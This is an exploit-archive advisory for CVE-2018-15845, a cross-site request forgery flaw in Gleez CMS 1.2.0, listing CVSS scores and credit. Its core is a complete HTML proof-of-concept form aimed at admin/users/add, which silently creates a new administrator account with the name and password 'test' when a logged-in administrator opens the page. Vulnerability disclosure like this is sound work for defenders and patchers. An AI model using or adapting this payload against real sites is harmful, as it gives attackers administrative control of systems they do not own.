Gleez CMS 1.2.0 Cross Site Request Forgery

2018.08.28

Credit: GunEggWang

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2018-15845

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: Gleez CMS 1.2.0 - Cross-Site Request Forgery (Add Admin)
# Date: 2018-08-24
# Exploit Author: GunEggWang
# Vendor Homepage: https://gleezcms.org/
# Software Link: https://github.com/gleez/cms
# Version: 1.2.0
# CVE : CVE-2018-15845
 
# Description: 
# There is a CSRF vulnerability that can add an administrator account in 
# Gleez CMS 1.2.0 via admin/users/add. (https://github.com/gleez/cms/issues/800)
# After the administrator logged in,open the POC,that will create an new admin account unexcused.
# POC:
 
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.gleezcms.org/admin/users/add?0=" method="POST">
      <input type="hidden" name="_token" value="18eabd0645699b3eec1686301a684392e8a4735a" />
      <input type="hidden" name="_action" value="909998bbc9e60ce40ae378a1055b46f3" />
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="pass" value="test" />
      <input type="hidden" name="nick" value="test" />
      <input type="hidden" name="mail" value="admin@admin.cc" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="roles[admin]" value="Administrative user, has access to everything." />
      <input type="hidden" name="site_url" value="http://demo.gleezcms.org/" />
      <input type="hidden" name="user" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Gleez CMS 1.2.0 Cross Site Request Forgery

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.